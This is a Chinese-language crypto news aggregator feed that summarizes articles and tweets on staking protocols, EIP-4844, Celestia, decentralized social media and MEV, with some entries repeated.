Finance而言，决定其价值的核心问题取决于以下3个方面： 4.2 估值水平 从静态估值来看，pSTAKE Finance明显偏高，高估值可能与PSTAKE筹码分布过于集中有关系：目前PSTAKE75%以上的筹码集中在几个地址中，其中一部分是还未释放的token。流通市值相对较小给市场中的投资者提供了较大的炒作空间，相比于Lido现阶段85%的token已经进入流通阶段的情况而言，PSTAKE的价格更容易受到做市商的影响。 来源：https://app.bubblemaps.io/eth/token/0xfb5c6815ca3ac72ce9f5006869ae67f18bf77006 从业务发展的战略和当前布局来看，pSTAKE Finance目前在BNB的流动性质押赛道有一定的竞争力，下一步的考验是如何拓展stkATOM的应用场景，以及如何在ATOM较高质押率的情况下获客。不论是项目方自身努力拓客，还是通过复刻币安投资的成功案例，stkATOM的发展状况是考验团队真实运营能力的试金石。 在估值上，当前或许不是买入PSTAKE较佳的时间窗口，投资者需要等待价格下跌或基本面迅速增长之后再进行决策。如果基于ATOM的流动性质押业务出现转好的迹象，PSTAKE可能将进入投资射程范围之内。 5. 参考资料 融资与代币经济： Roadmap和成员信息： 业务： BNBchain Staking费率： BNBchain合作生态： BNBchain最大流动性池： BNB质押数量： Ankr：https://www.ankr.com/staking-crypto/binance-bnb/ Stader：https://www.staderlabs.com/bnb/ steakBank:https://app.steakbank.finance/ Stafi:https://app.stafi.io/rtoken pstaKe:https://bnb.pstake.finance/  ( 8 min )
    马斯克正开发人工智能平台TruthGPT，以最大限度寻求真理
    PANews 4月18日消息，据福克斯新闻报道，马斯克在接受福克斯主播Tucker Carlson采访时表示，他正在开发一种名为“TruthGPT”的ChatGPT竞争对手，这是一种大型语言模型(LLM)，马斯克表示将对其进行训练，以探索宇宙的奥秘。根据马斯克的说法，TruthGPT将最大限度地寻求真理，也将反击行业中的“左翼”偏见。他表示，ChatGPT“是由左翼专家编写的，他们可能会因为政治原因训练聊天机器人撒谎”。据此前消息，马斯克近期购买了约1万块GPU来支持即将推出的生成式人工智能产品，而今年3月，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。  ( 1 min )

  • Open

    Gitcoin：Beta Round 捐赠活动中 Core Round 有 125 万美元匹配资金
    Gitcoin：Beta Round 捐赠活动中 Core Round 有 125 万美元匹配资金 据 Gitcoin 官方推文，即将进行的 Gitcoin Grants Beta Round 中 Core Round 有 125 万美元的匹配资金。本轮 Gitcoin Grants Beta Round 中的五个核心轮次包括 Climate Solutions、ZK Tech、OSS、Community & Ed 和以太坊基础设施。Beta Round 申请必须在 UTC 时间 4 月 21 日 23:59（北京时间 4 月 22 日 07:59）之前提交。 内容来源  ( 2 min )
    Gitcoin：Beta Round 捐赠活动中 Core Round 有 125 万美元匹配资金
    Gitcoin：Beta Round 捐赠活动中 Core Round 有 125 万美元匹配资金 据 Gitcoin 官方推文，即将进行的 Gitcoin Grants Beta Round 中 Core Round 有 125 万美元的匹配资金。本轮 Gitcoin Grants Beta Round 中的五个核心轮次包括 Climate Solutions、ZK Tech、OSS、Community & Ed 和以太坊基础设施。Beta Round 申请必须在 UTC 时间 4 月 21 日 23:59（北京时间 4 月 22 日 07:59）之前提交。 内容来源  ( 2 min )
    解读 LSDFi 协议 Agility：上线两周，TVL 接近 5 亿美元，代币狂涨 20 倍
    Chainfeeds 导读： 以太坊上海升级之后，预想的抛压并没有到来，反而 LSDFi 赛道蓬勃发展，LSDFi 协议 Agility 上线两周，TVL 已接近 5 亿美元，其代币狂涨 20 倍。Agility 对自己描述是「既是一个 LSD 流动性分配平台，也是一个 aUSD 交易平台」。区块链媒体 ODaily 撰文解析该协议的机制及代币经济模型。 文章来源： https://www.odaily.news/post/5186509 文章作者： Odaily 观点： Odaily：Agility 支持 ETH、stETH、rETH、frxETH 质押并生成对应的 aLSDaLSD（astETH、arETH 以及 afrxETH）。用户可以选择：1）直接持有 aLSD 获取对应的 LSD 质押收益；2）使用 aLSD 或 aETH 参与 LSD 流动性分配系统，为选定的金库提供流动性并获得收益；3）质押 aLSD 或 aETH 铸造 aUSD，用于交易或对冲风险。LSD 流动性分配系统是为各类 LSD 协议开设的流动性捕获通道，用户可以将自己的 aLSD 资产存入该金库获取收益。最初的策略金库是由协议或合作伙伴创建的，后续新金库的创建将由 Agility DAO 决定。 内容来源 Odaily：Agility 使用 esAGI 作为奖励分发给各个金库，它由治理代币 AGI 代币抵押生成，具有投票权，并激励提供流动性的用户。Agility 另外一个重要设计便是 aUSD 交易系统。用户可以通过抵押 aLSD 或 aETH 来生成 aUSD 超额抵押稳定币，并在 Agility 协议上进行多种交易、对冲、期权交易和博彩游戏等操作。同时，Agility 还规划了自建 aUSD 交易生态系统或吸引开发者参与的计划以扩大其应用场景。 内容来源 Odaily：Agility 使用 esAGI 作为奖励分发给各个金库，它由治理代币 AGI 代币抵押生成，具有投票权，并激励提供流动性的用户。Agility 另外一个重要设计便是 aUSD 交易系统。用户可以通过抵押 aLSD 或 aETH 来生成 aUSD 超额抵押稳定币，并在 Agility 协议上进行多种交易、对冲、期权交易和博彩游戏等操作。同时，Agility 还规划了自建 aUSD 交易生态系统或吸引开发者参与的计划以扩大其应用场景。 内容来源 Odaily：AGI 是为协议发行的代币，具有治理、奖励、流动性引导等功能，总供应量为 10 亿个。其中 5 亿个已被销毁，剩余的代币的 88% 用于流动性激励，10% 进入国库，1% 用于初始流动性，1% 用作市场营销，营销费用存入在由 Safe 支持的 Agility Treasury 地。Agility 计划通过三个阶段完成构建，在路线图的指导下，Agility 将激励流动性，启动 LSD 策略金库、aUSD 交易生态系统，启动并完善 LSD 流动性分配生态系统。 内容来源  ( 7 min )
    解读 LSDFi 协议 Agility：上线两周，TVL 接近 5 亿美元，代币狂涨 20 倍
    Chainfeeds 导读： 以太坊上海升级之后，预想的抛压并没有到来，反而 LSDFi 赛道蓬勃发展，LSDFi 协议 Agility 上线两周，TVL 已接近 5 亿美元，其代币狂涨 20 倍。Agility 对自己描述是「既是一个 LSD 流动性分配平台，也是一个 aUSD 交易平台」。区块链媒体 ODaily 撰文解析该协议的机制及代币经济模型。 文章来源： https://www.odaily.news/post/5186509 文章作者： Odaily 观点： Odaily：Agility 支持 ETH、stETH、rETH、frxETH 质押并生成对应的 aLSDaLSD（astETH、arETH 以及 afrxETH）。用户可以选择：1）直接持有 aLSD 获取对应的 LSD 质押收益；2）使用 aLSD 或 aETH 参与 LSD 流动性分配系统，为选定的金库提供流动性并获得收益；3）质押 aLSD 或 aETH 铸造 aUSD，用于交易或对冲风险。LSD 流动性分配系统是为各类 LSD 协议开设的流动性捕获通道，用户可以将自己的 aLSD 资产存入该金库获取收益。最初的策略金库是由协议或合作伙伴创建的，后续新金库的创建将由 Agility DAO 决定。 内容来源 Odaily：Agility 使用 esAGI 作为奖励分发给各个金库，它由治理代币 AGI 代币抵押生成，具有投票权，并激励提供流动性的用户。Agility 另外一个重要设计便是 aUSD 交易系统。用户可以通过抵押 aLSD 或 aETH 来生成 aUSD 超额抵押稳定币，并在 Agility 协议上进行多种交易、对冲、期权交易和博彩游戏等操作。同时，Agility 还规划了自建 aUSD 交易生态系统或吸引开发者参与的计划以扩大其应用场景。 内容来源 Odaily：Agility 使用 esAGI 作为奖励分发给各个金库，它由治理代币 AGI 代币抵押生成，具有投票权，并激励提供流动性的用户。Agility 另外一个重要设计便是 aUSD 交易系统。用户可以通过抵押 aLSD 或 aETH 来生成 aUSD 超额抵押稳定币，并在 Agility 协议上进行多种交易、对冲、期权交易和博彩游戏等操作。同时，Agility 还规划了自建 aUSD 交易生态系统或吸引开发者参与的计划以扩大其应用场景。 内容来源 Odaily：AGI 是为协议发行的代币，具有治理、奖励、流动性引导等功能，总供应量为 10 亿个。其中 5 亿个已被销毁，剩余的代币的 88% 用于流动性激励，10% 进入国库，1% 用于初始流动性，1% 用作市场营销，营销费用存入在由 Safe 支持的 Agility Treasury 地。Agility 计划通过三个阶段完成构建，在路线图的指导下，Agility 将激励流动性，启动 LSD 策略金库、aUSD 交易生态系统，启动并完善 LSD 流动性分配生态系统。 内容来源  ( 7 min )
    【英文长推】EIP-4844 综合指南：原理机制、如何降低 L2 成本
    Chainfeeds 导读： EIP-4844 是以太坊分片设计的第一次迭代，试图在不破坏 L1 的可组合性和执行层的情况下，在以太坊上增加数据可用性容量。加密 KOL francesco 撰写 EIP-4844 综合指南，涵盖选择 EIP-4844 的原因，其原理机制，以及其如何降低 L2 交易成本。 文章来源： https://twitter.com/francescoglt/status/1647979498317709315 文章作者： francesco 观点： francesco：为什么选择 EIP-4844 ？为 L2 解决方案创造一个廉价的地方来在以太坊上发布数据，并减少用户在 L2 上支付的总体交易费用。因为 L2 产生越来越多的数据，交易成本也随之增加。 解决方案：「blob-carrying 交易」的新交易格式。它包含大量「EVM 执行无法访问，但可以访问其承诺」的数据。不是将全部内容嵌入正文，而是将 blob 的内容单独传播，作为「sidecar」（边车模式）。【原文为英文】 内容来源 francesco：分片区块将只包含「数据区块」，而不是包含在以太坊区块中执行的交易，并且 L2 有责任使用该数据空间，以便为其用户创建安全且更具可扩展性的体验。什么是一个 BLOB？即附加到交易的不透明、原始的字节字符串，它进入以太坊系统。「sidecar」中的附加内容具有额外的生命周期，blob 交易支付费用并承诺充分证明某些数据的存在 —— 但数据本身是分离的。【原文为英文】 内容来源 francesco：费用支付和引用由以太坊处理，而承诺和 blob 存储在其他地方直到被修剪：以太坊 EVM 中没有直接的 blob 内容，它们持久存在于信标节点中，而不是在执行层中。这种设计选择具有战略意义，可确保未来的分片工作只需要更改信标节点，使执行层能够并行处理其他计划。【原文为英文】 内容来源 francesco：为什么 L2 费用会降低？交易计算和存储的单独费用：L2 将使用不同的功能向以太坊提交 blob。他们不会使用永久存储数据的「CALLDATA」，而是使用在预定义的时间段后被修剪的 blob。EIP-4844 通过允许它们最初扩展到每个插槽 0.25 MB，为 rollup 提供了显着的扩展缓解，并为 blobs 提供了一个单独的费用市场，费用降低非常多。【原文为英文】 内容来源  ( 2 min )
    【英文长推】EIP-4844 综合指南：原理机制、如何降低 L2 成本
    Chainfeeds 导读： EIP-4844 是以太坊分片设计的第一次迭代，试图在不破坏 L1 的可组合性和执行层的情况下，在以太坊上增加数据可用性容量。加密 KOL francesco 撰写 EIP-4844 综合指南，涵盖选择 EIP-4844 的原因，其原理机制，以及其如何降低 L2 交易成本。 文章来源： https://twitter.com/francescoglt/status/1647979498317709315 文章作者： francesco 观点： francesco：为什么选择 EIP-4844 ？为 L2 解决方案创造一个廉价的地方来在以太坊上发布数据，并减少用户在 L2 上支付的总体交易费用。因为 L2 产生越来越多的数据，交易成本也随之增加。 解决方案：「blob-carrying 交易」的新交易格式。它包含大量「EVM 执行无法访问，但可以访问其承诺」的数据。不是将全部内容嵌入正文，而是将 blob 的内容单独传播，作为「sidecar」（边车模式）。【原文为英文】 内容来源 francesco：分片区块将只包含「数据区块」，而不是包含在以太坊区块中执行的交易，并且 L2 有责任使用该数据空间，以便为其用户创建安全且更具可扩展性的体验。什么是一个 BLOB？即附加到交易的不透明、原始的字节字符串，它进入以太坊系统。「sidecar」中的附加内容具有额外的生命周期，blob 交易支付费用并承诺充分证明某些数据的存在 —— 但数据本身是分离的。【原文为英文】 内容来源 francesco：费用支付和引用由以太坊处理，而承诺和 blob 存储在其他地方直到被修剪：以太坊 EVM 中没有直接的 blob 内容，它们持久存在于信标节点中，而不是在执行层中。这种设计选择具有战略意义，可确保未来的分片工作只需要更改信标节点，使执行层能够并行处理其他计划。【原文为英文】 内容来源 francesco：为什么 L2 费用会降低？交易计算和存储的单独费用：L2 将使用不同的功能向以太坊提交 blob。他们不会使用永久存储数据的「CALLDATA」，而是使用在预定义的时间段后被修剪的 blob。EIP-4844 通过允许它们最初扩展到每个插槽 0.25 MB，为 rollup 提供了显着的扩展缓解，并为 blobs 提供了一个单独的费用市场，费用降低非常多。【原文为英文】 内容来源  ( 2 min )
    观点：Nostr 联邦式节点社交协议的出现对于 P2P 社交是非常恰到好处的相互补充
    Chainfeeds 导读： Nostr 绝大多数的 relay 节点都已经被墙了，技术保障的绝对言论自由还是得看 P2P。对于开放网络空间来讲适当的审查是维持内容高效和粘性的必要，在一个搭建的开放论坛人人都能发言，如果没有审查权限，那最后肯定是被广告还有各种垃圾信息所占领，这种审查程度会根据用户和 relay 的博弈达到平衡，如果 relay 审查过头了不止筛选垃圾信息了还审查正常发言，用户就会用脚投票选择别的 relay。 文章来源： https://twitter.com/bitrabbit_btc/status/1648124552013312000 文章作者： bitrabbit 观点： bitrabbit：Nostr 绝大多数的 relay 节点都已经被墙了，技术保障的绝对言论自由还是得看 P2P。对于开放网络空间来讲适当的审查是维持内容高效和粘性的必要，在一个搭建的开放论坛人人都能发言，如果没有审查权限，那最后肯定是被广告还有各种垃圾信息所占领，这种审查程度会根据用户和 relay 的博弈达到平衡，如果 relay 审查过头了不止筛选垃圾信息了还审查正常发言，用户就会用脚投票选择别的 relay。 内容来源 bitrabbit：但是对于微信这样的相对私人空间的即时通讯应用，就需要更多的自由，P2P 就是更好的解决方案。在 P2P 即时通讯应用里，就是绝对的自由开放空间，因为你所有的数据全是存在你自己设备上的，相比 Nostr 又去中心化更进了一步，不仅无法封禁用户帐号，所有的内容也是绝对自由的没有任何人有权限审查的。Nostr 这类联邦式节点社交协议的出现对于 P2P 社交是非常恰到好处的相互补充。 内容来源  ( 2 min )
    【英文】Celestia 联合创始人：轻节点数据可用性的安全级别
    Chainfeeds 导读： Celestia 联合创始人 Mustafa AI-Bassam 撰文分析他是如何看待轻节点数据可用性验证和安全级别的比较，从不安全到最安全，一一列举解析。 文章来源： https://forum.celestia.org/t/security-levels-for-data-availability-for-light-nodes/919 文章作者： Mustafa Al-Bassam（Celestia 联合创始人） 观点： Mustafa Al-Bassam（Celestia 联合创始人）：在传统区块链中，用户需要运行同步链中所有数据的全节点，以验证区块头（即作为 Merkle 根）提交的链中所有数据确实已发布（数据可用性验证）。这不会随着区块大小的增加而扩展，因为用户需要增加带宽资源。因此，在较新的区块链中，重点支持轻节点，这些轻节点可以使用数据可用性采样等技术，以较低的资源需求验证链的数据可用性。【原文为英文】 内容来源 Mustafa Al-Bassam（Celestia 联合创始人）：1）- 1 级：全节点。全节点通过下载所有区块数据来验证数据可用性。我们将其用作基线安全假设，每个级别都会添加额外的安全假设。2）0 级：无数据可用性保证。只是对数据的承诺，但不能保证数据实际可用。示例包括 IPFS URI。这对于安全性不需要数据可用性的用例（例如 NFT）很有用。【原文为英文】 内容来源 Mustafa Al-Bassam（Celestia 联合创始人）：3）1 级：数据可用性委员会。委员会证明数据可用性。调整签名阈值权衡数据可用性保证和活跃度。安全假设：委员会中诚实的多数。4）2 级：具有加密经济安全性的数据可用性委员会。与 1 级类似，但如果说谎，委员会可能会被削减或停止。需要主权链的共识认可。安全假设：诚实多数 + 加密经济激励。5）2.1-2.3 级：如果支持采样轻节点，罚没 / 停止可以由轻节点完成，降低节点要求并提高安全性。2.1-3 分别指 3-5 级轻节点。【原文为英文】 内容来源 Mustafa Al-Bassam（Celestia 联合创始人）：6）3 级：数据可用性采样，没有诚实的少数轻节点。支持数据可用性采样轻节点以高概率验证数据可用性。需要实时采样接口。安全假设：诚实的多数 + 实时接口。7）4 级：数据可用性采样，具有诚实的少数轻节点。支持使用诚实的少数轻节点进行采样，以便在需要时进行区块重建。需要同步网络和有界延迟。安全假设：诚实的多数或少数节点。8）5 级：不可链接的数据可用性采样。通过取消链接示例请求并使其顺序随机来防止「选择性共享披露」攻击。可通过使用混合网络和匿名化技术实现。【原文为英文】 内容来源
    【英文长推】数据工具：追踪 EIP 更新的各项指标
    Chainfeeds 导读： 导读：加密 KOL 0xren 制作了跟踪 EIP 指标的工具 http://eips.wtf，并撰推分析总结该工具显示的数据信息。该工具完全开源。 文章来源： https://twitter.com/0xren_cf/status/1647967573848256515 文章作者： 0xren 观点： 0xren：从高层次来看，EIP 活跃度非常强。关于分片 blob 事务和操作代码升级，已经有很多讨论和更新。这些较低层次的更新将使以太坊进入全球结算层，并使 EVM 更加安全。以太坊正在经历 ERC 复兴，这将创造更多的应用程序级别的用例。新的链上资产和功能呈爆炸式增长。我正在跟踪的一个非常有趣的 ERC 是跨链执行（5164），它将支持跨 EVM 环境的执行。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Cyber Capital 创始人：我为什么离开 BTC 团队？BTC 现已偏离中本聪初心
    Chainfeeds 导读： Cyber Capital 创始人 2013 年因 BTC 的经济自由、抗审查、隐私而加入 BTC 团队，于 2017 年离开，其发推解释离开原因，认为 BTC 已偏离中本聪的最初愿景。 文章来源： https://twitter.com/Justin_Bons/status/1648000533435670529 文章作者： Justin Bons 观点： Justin Bons：最初的密码朋克运动提倡：「广泛使用强大的密码学和隐私增强技术作为社会和政治变革的途径」。你能发现问题吗？BTC 尚未扩容，因此根本无法支持广泛使用。我最近震惊地发现一些比特币支持者（bitcoiners）正试图改写历史。BTC 一直打算在链上扩展，从而支持密码朋克最初提倡的广泛使用。从 P2P 现金（比特币白皮书的字面标题）到纯粹投机性的数字黄金，代表了目的和愿景的巨大转变。这种转向的可能性一开始就证明了大规模的治理问题，远不是一成不变的。【原文为英文】 内容来源 Justin Bons：BTC 已被 Bitcoin Core 有效控制，比特币支持者声称没有治理，但有变化暗示着治理的存在。通过否认这种治理，比特币支持者赋予了「影子统治者」权力。形式化治理的目的是通过提供制衡来削弱统治者的权力。相反，Core 可以用「共识」作为挡箭牌，推动根本性的变革。中本聪的话与 BTC 现在的状态之间的矛盾，证明了它已经发生了多大的变化。 此外，如果它能够一次如此彻底地改变，它可以再次如此，这取决于这些影子统治者的「心血来潮」。我支持治理作为对变化的保护。【原文为英文】 内容来源 Justin Bons：BTC 最强大的方面是每个人都可以从链上自我托管和交易中受益。而现在如果世界上每个人都发起一笔 BTC 交易，需要 70 年才能完成。从这个意义上说，我今天比一些「maxis」更像是一个比特币支持者。比特币是一个没有人拥有的符号，代表着一场由密码朋克预言的革命。我认同这种意识形态，即使我是 BTC 资产的主要批评者，今天我支持愿景，而不是 BTC。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 Tapioca DAO 三代币模型：如何真正锁定代币价值
    Chainfeeds 导读： Tapioca Dao 是 LayerZero 的全链货币市场，拥有 TAP、twTAP、oTAP 以及协议稳定币 USD0 四个代币。加密 KOL 563 分析了 Tapioca DAO 除稳定币以外的三个协议代币的经济模型，并简述了该模型在锁定 TAP 价值方面起到的关键作用。 文章来源： https://twitter.com/563defi/status/1648005031126532096 文章作者： 563 观点： 563：Tapioca 的三个代币：Tapioca DAO 代币 TAP ，锁定 TAP 的时间加权代币 twTAP，以及 TAP 看涨期权 oTAP。上述代币都是基于 LayerZero 的 OFT 标准构建的，能够在任何 LayerZero 链上流动。【原文为英文】 内容来源 563：twTAP 代币的数量取决于用户选择锁定的时间与整个协议平均锁定时间的比值。twTAP 代币持有者能够在治理中投票，并获得 100% 的协议收入和 50% 的协议自由流动性（Protocol Owned Liquidity）的交易费。oTAP 被用作通货膨胀的奖励，它可以被认为是一种员工股票期权，持有人可以选择以折扣价购买 TAP。折扣（介于 5-50% 之间）取决于用户的锁定时间与平均锁定时间的比值。【原文为英文】 内容来源 563：Tapioca 三代币模型的优势：用户需要付出才能获得收益；锁定时间较长的用户会得到更大份额的 oTAP 奖励，这意味着这些用户可能是 TAP 的长期持有者；这种 DSO（DAO 股票期权）为协议的金库提供了稳定的收入来源，起到了持续的代币销售作用；oTAP 完全被分配预计需要 5-10 年，这提供了一个可持续的项目周期。【原文为英文】 内容来源  ( 2 min )
    【英文长推】上海升级后，有多少提款的 ETH 被重新质押？
    Chainfeeds 导读： 上海升级后，有多少提款的 ETH 被重新质押？有多少 ETH 被卖掉？Lookonchain 分析了排名前列的 ETH 取款地址和质押地址。 文章来源： https://twitter.com/lookonchain/status/1647833608344973312 文章作者： Lookonchain 观点： Lookonchain：在上海升级后，总共提取了 1,024,099 ETH （21.5 亿美元）。排名前 15 的提现地址中。3 个地址在退出后重新质押 ETH ，总数为 19,844 ETH。3 个地址提现后将 ETH 转到 CEX，共计 71,444 ETH 个。【原文为英文】 内容来源 Lookonchain：在上海升级后，总共质押了 158,592 ETH （3.33 亿美元）。在排名前 20 的质押地址中有 13 个地址在提款 ETH 后重新质押，总共质押了 34,198 ETH （7200 万美元）。【原文为英文】 内容来源  ( 2 min )
    神鱼：从 10 年前「比特币突破 1 美元」谈起，我们能从历史经验教训中学到什么？
    Chainfeeds 导读： 吴说区块链创始人 Colin Wu 采访了 Cobo 创始人神鱼，从入行契机到对 DeFi 行业的新看法、NFT 是否有一个非常好的前景、比特币减半带来的影响、Cobo 未来的发展方向等问题进行了深入探讨。 文章来源： https://mp.weixin.qq.com/s/toFp40y7S--vIT5lHXojoA 文章作者： 吴说区块链 观点： 吴说区块链：NFT 是否有一个非常好的前景：NFT 的出现让我们看到了有非常多能够切合各种各样文化群体的内心情感需求价值开始涌现，包括社交资本等价值。从这个维度来讲，NFT 的成功和存在是有一定的价值和意义。站在今天相对熊市的市场，NFT 跟很多 IP、流量结合，让 Crypto 世界变得更加多元，虽然我个人亏了很多钱，但依然非常坚定地看好 NFT 市场对 Crypto 未来带来的新鲜血液。 内容来源 吴说区块链：比特币减半：从今年、短期的角度来看，有两个大的核心驱动因素：一是宏观，目前来看宏观可能会改善，再加上 3 月份大量美国银行爆雷，让大家把比特币又纷纷当成了避险资产，从这个角度来看，宏观在改善，这起码是中性的因素。第二，行业内生驱动因素。简单计算一下，现在世界上主流的矿机还是 S19 矿机，如果明年减半以后，币价稳不到 3 万美金以上，这些矿机都得关机，在历史上很少发生这种情况，即使发生了也是很短暂的。所以我个人觉得 Q4 到明年的减半行情还是值得期待。 内容来源 吴说区块链：Cobo 未来的发展方向：Cobo 试图构建一套围绕着底层资产安全，私钥及其私钥风险管理的解决方案，底层逻辑是围绕着行业的不同阶段找到它的核心应用场景，在应用场景下提供一套围绕着私钥的解决方案。我们基本上就是会围绕着三个阶段提供三款不同的产品，纯中心化的基于加密机的托管解决方案、面向链上智能合约的多签解决方案、面向去中心化协管的 MPC 解决方案。 内容来源  ( 33 min )
    【长推】LSD 赛道的新变局者 —— ether.fi 项目初探
    Chainfeeds 导读： 以太坊流动性质押协议 ether.fi 是目前市面上唯一一个在用户掌握私钥的前提下代理质押给节点运营商赚取收益的具有 LSD 代币的项目。加密货币 KOL darkforest 从解决的市场痛点角度出发讲解了此项目。 文章来源： https://twitter.com/darkforest_lian/status/1647973853279436800 文章作者： darkforest unite 观点： darkforest unite：对于一般用户而言，solo 的难度和耗费的精力太过巨大，甚至相对于资金规模来说也没有这个必要。剩下的就只有一种方式 ——staking as a service。好处就是自己掌握两把钥匙 —— 验证 key 和提款 key。但缺点同样明显，没有 LSD Token（流动性质押代币）。这也造成了用户质押完后就没事做了，无法参与 defi 的搭乐高游戏。 内容来源 darkforest unite：ether.fi 解决的最大痛点：目前有可能是市面上唯一一个在用户掌握私钥的前提下代理质押给节点运营商赚取收益的具有 LSD 代币的项目。1. 用户掌管私钥。2. 用户资产通过 ether.fi 交给节点运营商，协议方和节点运营商共同收取 10% 的 reward 收益并且平分。LSD 代币从方便性来说，有 LSD token 的项目在 defi 的集成性那绝对是具有统治力的，也为用户退出提供了多一条的方式。 内容来源  ( 2 min )
    【英文长推】一文读懂 InterSwap 和 Stargate 的区别
    Chainfeeds 导读： 使用中介链、封装资产或者是跨链桥来促进跨链资产流动是存在风险，如智能合约违规风险、黑天鹅事件、封装资产脱钩等，而所有这些几乎都发生在最近的时间里。加密货币 KOL jedi blocmates 对比了两个跨链协议 InterSwap 和 Stargate，阐明这两个协议的不同定位。 文章来源： https://twitter.com/jediblocmates/status/1647963428190035968 文章作者： jedi blocmates 观点： jedi blocmates：Stargate 是一个完全可组合、全链通流动性传输协议。在协议层面上，Stargate 通过其池子提供了一个流动性层。在基础设施层面上，Stargate 提供了一座桥梁，允许 Dapp 进行跨链交易。InterSwap 允许用户直接在协议内将原生资产与他们想要的资产进行交换。没有中介链、封装资产和桥接。资产也可以在单个交易中进行互换，并由 LayerZero 驱动。【原文为英文】 内容来源 jedi blocmates：InterSwap 的其他功能包括：在支持的网络上使用不可升级的开源智能合约；引入加权和稳定池；与 Stargate 相比，费用降低了 3 倍。Stargate 将自己定位为桥梁和流动性层，而 InterSwap 是一个开放且去中心化的自动市场做市商，通过其专有的流动性储备汇集传统流动性并赋予无缝跨链互换能力。【原文为英文】 内容来源  ( 2 min )
    【英文长推】链上数据比较 Arbitrum 和 Optimism：为什么 ARB 仍被低估
    Chainfeeds 导读： 加密 KOL Emperor Osmo 从 TVL、交易量、稳定币市值等链上数据对比了 Arbitrum 和 Optimism 两大生态发展现状与趋势，他认为，Arbitrum 生态发展势头强劲，其在创新和技术方面的价值高于当前市场表现。 文章来源： https://twitter.com/Flowslikeosmo/status/1647978262273077248 文章作者： Emperor Osmo 观点： Emperor Osmo：3 月 23 日（ARB 空投当日），Optimism TVL 为 9.76 亿美元，Arbitrum TVL 为 21 亿美元。空投后至今，Arbitrum TVL 增加了 9%，而 Optimism TVL 则减少了 3%。稳定币的流动性转移更为明显，空投当日，Optimism 稳定币市值为 6.94 亿美元，Arbitrum 为 17 亿美元。Arbitrum 的稳定币流动性增长了 27%，而 Optimism 的流动性从年初到现在下降了 6%。【原文为英文】 内容来源 Emperor Osmo：空投期间，Arbitrum DEX 的交易量几乎达到历史最高记录，接近 14 亿美元，与此同时，Optimism DEX 的交易量达到了 1 亿美元左右。链上合约表明正在产生的价值量，Arbitrum 有超过 6000 个合约被部署，而 Optimism 只有大约 1000 个。目前，OP 和 ARB 的市值与 TVL 的比率都是 0.9。在我看来，似乎是 Optimism 被高估了。【原文为英文】 内容来源  ( 2 min )
    Pantera 合伙人解读 MEV 常见攻击方法和解决方案
    Chainfeeds 导读： MEV（最大可提取价值）是一个近期在加密货币领域受到广泛关注的概念。Pantera Capital 合伙人 Paul Veradittakit 撰文介绍了 MEV 常见攻击方法和 Flashbots 的解决方案，并汇总了 MEV 相关的重要数据。 文章来源： https://foresightnews.pro/article/detail/30960 文章作者： Paul Veradittakit（Pantera 合伙人） 观点： Paul Veradittakit（Pantera 合伙人）：一方面，MEV 可以激励矿工通过优先处理更重要的交易和区块来为网络的安全做出贡献。另一方面，它也可能导致市场操纵，催生不公平的行为，损害网络的完整性。常见的 MEV 攻击：抢先交易（Front-Running）、三明治攻击（Sandwich Attacks）、后置交易（Back-Running）、清算（Liquidations）和时间强盗攻击（Time-Bandit Attacks）。 内容来源 Paul Veradittakit（Pantera 合伙人）：Flashbots 通过允许矿工在交易上链之前私密且安全地汇集交易来减少 MEV 负面影响。Flashbots Relay 是最重要的机制之一，Relay 允许矿工直接从用户接收交易包，而无需依赖内存池。另一个关键机制是 MEV-Geth 客户端，使矿工能够访问可包含在区块中的所有交易，从而在不重新排序交易的情况下更有效地捕获 MEV。 内容来源 Paul Veradittakit（Pantera 合伙人）：MEV 相关数据：总提取的 MEV 超过 6.9 亿美元；在所有提取的 MEV 中，36.4% 是 MEV 矿工收入，而 63.6% 是 MEV 搜索者收入；绝大多数 MEV 是通过套利完成的；按协议分类的 MEV 提取量中，Uniswap V2 提取量最大，占总量的约 62%；ETH/WETH 是用于 MEV 利润获取的主要代币（占总量的 95%）。 内容来源  ( 16 min )
    【英文】探索去中心化社交协议的出圈之路
    Chainfeeds 导读： 基于 Web3 构建的社交媒体希望让所有利益相关者（创作者、用户和社交媒体平台）之间的关系更加互惠互利，并淘汰高度榨取式中间人的存在。加密研究机构 Frogs Anon 盘点了 Lens、Farcaster 等代表性去中心化社交协议，并从主流采用的角度出发，探讨了去中心化社交协议需要改善的问题。 文章来源： https://frogsanon.neworder.network/articles/mass-adoption-narratives-decentralized-social-media 文章作者： Frogs Anon 观点： Frogs Anon：创建去中心化社交协议必须解决的四个关键问题：1. 身份：发布去中心化身份的能力，唯一和非唯一标识符的集合，由现实世界实体映射、拥有和控制 ；2. 身份验证：用户生成的所有数据均未被篡改；3. 可用性：确保数据可以在应用程序之间访问；4. 一致性：确保所有记录的用户活动都是一致的。【原文为英文】 内容来源 Frogs Anon：值得关注的项目：Lens Protocol 及其生态项目 Lenster、Phaver 和 Orb、Farcaster、Cyber Connect、DeSo 及其生态项目 Diamond、Stori、NFTz 和 DAODAO、SubSocial 等。以及 Minds、DTube、Peer、Chingari、Iris、Interface、SocialX 等长尾应用程序。【原文为英文】 内容来源 Frogs Anon：去中心化社交协议被主流采用面临的关键问题：1. 复杂的 UI/UX：需要抽象 Web3 技术并专注于移动原生体验；2. 不可扩展的基础设施：传统社交媒体每天产生超过 4 PB 的数据，是目前 Web3 网络无法处理的；3.Web2 应用程序的复制品：将 Web2 应用程序复制到 Web3 不太可能促使 Web2 用户迁移，Web3 社交需要新用例；4. 代币设计：将代币作为关键载体，探索新的货币化形式。【原文为英文】 内容来源  ( 23 min )
    【长推】探讨 DeFi 与社区 DAO 整合：如何打通链下用户与链上节点
